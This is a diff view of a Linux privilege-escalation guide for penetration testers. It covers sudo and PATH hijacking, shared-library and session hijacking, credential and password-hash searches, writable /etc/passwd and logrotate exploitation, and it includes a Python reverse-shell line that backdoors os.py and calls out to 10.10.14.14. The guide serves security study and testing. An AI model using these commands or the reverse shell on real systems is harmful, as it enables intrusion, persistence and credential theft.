There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
|
||||
|
||||
|
@ -1078,15 +1076,15 @@ There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, rem
|
|||
permit nopass demo as root cmd vim
|
||||
```
|
||||
|
||||
### Sudo Hijacking
|
||||
## Sudo Hijacking
|
||||
|
||||
If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the users command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so we the user executed sudo, your sudo executable is executed.
|
||||
|
||||
Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
||||
|
||||
## Shared Library
|
||||
# Shared Library
|
||||
|
||||
### ld.so
|
||||
## ld.so
|
||||
|
||||
The file `/etc/ld.so.conf` indicates **where are loaded the configurations files from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
|
@ -1099,7 +1097,7 @@ Take a look about **how to exploit this misconfiguration** in the following page
|
|||
[ld.so.conf-example.md](ld.so.conf-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RPATH
|
||||
## RPATH
|
||||
|
||||
```
|
||||
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
|
||||
|
@ -1138,7 +1136,7 @@ int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp
|
|||
}
|
||||
```
|
||||
|
||||
## Capabilities
|
||||
# Capabilities
|
||||
|
||||
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.\
|
||||
Read the following page to **learn more about capabilities and how to abuse them**:
|
||||
|
@ -1147,12 +1145,12 @@ Read the following page to **learn more about capabilities and how to abuse them
|
|||
[linux-capabilities.md](linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Directory permissions
|
||||
# Directory permissions
|
||||
|
||||
In a directory the **bit for execute** implies that the user affected can "**cd**" into the folder.\
|
||||
The **read** bit implies the user can **list** the **files**, and the **write** bit implies the user can **delete** and **create** new **files**.
|
||||
|
||||
## ACLs
|
||||
# ACLs
|
||||
|
||||
ACLs are a second level of discretionary permissions, that **may override the standard ugo/rwx** ones. When used correctly they can grant you a **better granularity in setting access to a file or a directory**, for example by giving or denying access to a specific user that is neither the file owner, nor in the group owner (from [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\
|
||||
**Give** user "kali" read and write permissions over a file:
|
||||
|
@ -1170,12 +1168,12 @@ setfacl -b file.txt #Remove the ACL of the file
|
|||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
|
||||
## Open shell sessions
|
||||
# Open shell sessions
|
||||
|
||||
In **old versions** you may **hijack** some **shell** session of a different user (**root**).\
|
||||
In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside of the session**.
|
||||
|
||||
### screen sessions hijacking
|
||||
## screen sessions hijacking
|
||||
|
||||
**List screen sessions**
|
||||
|
||||
|
@ -1192,7 +1190,7 @@ screen -dr <session> #The -d is to detacche whoever is attached to it
|
|||
screen -dr 3350.foo #In the example of the image
|
||||
```
|
||||
|
||||
### tmux sessions hijacking
|
||||
## tmux sessions hijacking
|
||||
|
||||
Apparently this was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user.
|
||||
|
||||
|
@ -1216,20 +1214,20 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
|||
|
||||
Check **valentine box from HTB** for an example.
|
||||
|
||||
## SSH
|
||||
# SSH
|
||||
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
## Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\
|
||||
This bug caused that when creating in those OS a new ssh key **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Interesting configuration values
|
||||
## SSH Interesting configuration values
|
||||
|
||||
* **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`.
|
||||
* **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`.
|
||||
* **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`.
|
||||
|
||||
#### PermitRootLogin
|
||||
### PermitRootLogin
|
||||
|
||||
Specifies whether root can log in using ssh, default is `no`. Possible values:
|
||||
|
||||
|
@ -1238,7 +1236,7 @@ Specifies whether root can log in using ssh, default is `no`. Possible values:
|
|||
* `forced-commands-only`: Root can login only using privatekey cand if the commands options is specified
|
||||
* `no` : no
|
||||
|
||||
#### AuthorizedKeysFile
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like `%h` , that will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the users home**. For example:
|
||||
|
||||
|
@ -1248,7 +1246,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
|
|||
|
||||
That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
|
||||
|
||||
#### ForwardAgent/AllowAgentForwarding
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**.
|
||||
|
||||
|
@ -1266,9 +1264,9 @@ The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding wit
|
|||
|
||||
If you Forward Agent configured in an environment \[**check here how to exploit it to escalate privileges**]\(ssh-forward-agent-exploitation.md).
|
||||
|
||||
## Interesting Files
|
||||
# Interesting Files
|
||||
|
||||
### Profiles files
|
||||
## Profiles files
|
||||
|
||||
The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user run a new shell**. Therefore, if you can **write or modify any of the you can escalate privileges**.
|
||||
|
||||
|
@ -1278,7 +1276,7 @@ ls -l /etc/profile /etc/profile.d/
|
|||
|
||||
If any weird profile script is found you should check it for **sensitive details**.
|
||||
|
||||
### Passwd/Shadow Files
|
||||
## Passwd/Shadow Files
|
||||
|
||||
Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of hem** and **check if you can read** them and **check if there are hashes** inside the files:
|
||||
|
||||
|
@ -1295,7 +1293,7 @@ In some occasions you can find **password hashes** inside the `/etc/passwd` (or
|
|||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
|
||||
#### Writable /etc/passwd
|
||||
### Writable /etc/passwd
|
||||
|
||||
First generate a password with one of the following commands.
|
||||
|
||||
|
@ -1342,7 +1340,7 @@ Group=root
|
|||
|
||||
Your backdoor will be executed the next time that tomcat is started.
|
||||
|
||||
### Check Folders
|
||||
## Check Folders
|
||||
|
||||
The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try)
|
||||
|
||||
|
@ -1350,7 +1348,7 @@ The following folders may contain backups or interesting information: **/tmp**,
|
|||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
|
||||
### Weird Location/Owned files
|
||||
## Weird Location/Owned files
|
||||
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
|
@ -1369,38 +1367,38 @@ for g in `groups`;
|
|||
done
|
||||
```
|
||||
|
||||
### Modified files in last mins
|
||||
## Modified files in last mins
|
||||
|
||||
```bash
|
||||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
|
||||
```
|
||||
|
||||
### Sqlite DB files
|
||||
## Sqlite DB files
|
||||
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
|
||||
### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
|
||||
## \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
|
||||
|
||||
```bash
|
||||
fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files
|
||||
```
|
||||
|
||||
### Hidden files
|
||||
## Hidden files
|
||||
|
||||
```bash
|
||||
find / -type f -iname ".*" -ls 2>/dev/null
|
||||
```
|
||||
|
||||
### **Script/Binaries in PATH**
|
||||
## **Script/Binaries in PATH**
|
||||
|
||||
```bash
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
|
||||
```
|
||||
|
||||
### **Web files**
|
||||
## **Web files**
|
||||
|
||||
```bash
|
||||
ls -alhR /var/www/ 2>/dev/null
|
||||
|
@ -1409,18 +1407,18 @@ ls -alhR /usr/local/www/apache22/data/
|
|||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
|
||||
```
|
||||
|
||||
### **Backups**
|
||||
## **Backups**
|
||||
|
||||
```bash
|
||||
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll
|
||||
```
|
||||
|
||||
### Known files containing passwords
|
||||
## Known files containing passwords
|
||||
|
||||
Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\
|
||||
**Other interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
|
||||
|
||||
### Logs
|
||||
## Logs
|
||||
|
||||
If you can read logs, you may be able to find **interesting/confidential information inside of them**. The more strange the log is, the more interesting will be (probably).\
|
||||
Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
|
@ -1432,7 +1430,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
|||
|
||||
In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful.
|
||||
|
||||
### Shell files
|
||||
## Shell files
|
||||
|
||||
```bash
|
||||
~/.bash_profile # if it exists, read once when you log in to the shell
|
||||
|
@ -1445,14 +1443,14 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g
|
|||
~/.zshrc #zsh shell
|
||||
```
|
||||
|
||||
### Generic Creds Search/Regex
|
||||
## Generic Creds Search/Regex
|
||||
|
||||
You should also check for files containing the word "**password**" in it's **name** or inside the **content**, also check for IPs and emails inside logs, or hashes regexps.\
|
||||
I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform.
|
||||
|
||||
## Writable files
|
||||
# Writable files
|
||||
|
||||
### Python library hijacking
|
||||
## Python library hijacking
|
||||
|
||||
If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).
|
||||
|
||||
|
@ -1462,7 +1460,7 @@ To **backdoor the library** just add at the end of the os.py library the followi
|
|||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
|
||||
### Logrotate exploitation
|
||||
## Logrotate exploitation
|
||||
|
||||
There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\
|
||||
So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart of _/var/log_ there are more files being **rotated**.
|
||||
|
@ -1477,7 +1475,7 @@ You can exploit this vulnerability with [**logrotten**](https://github.com/whotw
|
|||
|
||||
This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
## /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
If, for whatever reason, a user is able to **write** an `ifcf-<whatever>` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
|
||||
|
||||
|
@ -1497,7 +1495,7 @@ DEVICE=eth0
|
|||
|
||||
**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
### **init, init.d, systemd, and rc.d**
|
||||
## **init, init.d, systemd, and rc.d**
|
||||
|
||||
`/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d#:\~:text=%2Fetc%2Finit%20contains%20configuration%20files,the%20status%20of%20a%20service.))\
|
||||
Other alternative to this folder is `/etc/rc.d/init.d` in Redhat
|
||||
|
@ -1507,38 +1505,38 @@ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat
|
|||
**systemd** is a **Linux initialization system and service manager that includes features like on-demand starting of daemons**, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From [here](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/#:\~:text=The%20%2Frun%2Fsystemd%2Fsystem,anywhere%20else%20in%20the%20system.))\
|
||||
Files that ships in packages downloaded from distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator (user) go into `/etc/systemd/system/`.
|
||||
|
||||
## Other Tricks
|
||||
# Other Tricks
|
||||
|
||||
### NFS Privilege escalation
|
||||
## NFS Privilege escalation
|
||||
|
||||
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
|
||||
[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Escaping from restricted Shells
|
||||
## Escaping from restricted Shells
|
||||
|
||||
{% content-ref url="escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Cisco - vmanage
|
||||
## Cisco - vmanage
|
||||
|
||||
{% content-ref url="cisco-vmanage.md" %}
|
||||
[cisco-vmanage.md](cisco-vmanage.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernel Security Protections
|
||||
## Kernel Security Protections
|
||||
|
||||
* [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||
* [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
|
||||
|
||||
## More help
|
||||
# More help
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
|
||||
|
||||
## Linux/Unix Privesc Tools
|
||||
# Linux/Unix Privesc Tools
|
||||
|
||||
#### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
## **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
|
@ -1551,7 +1549,7 @@ Files that ships in packages downloaded from distribution repository go into `/u
|
|||
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
### Bibliography
|
||||
# References
|
||||
|
||||
[https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\
|
||||
[https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\
|
||||
|
|
Loading…
Reference in a new issue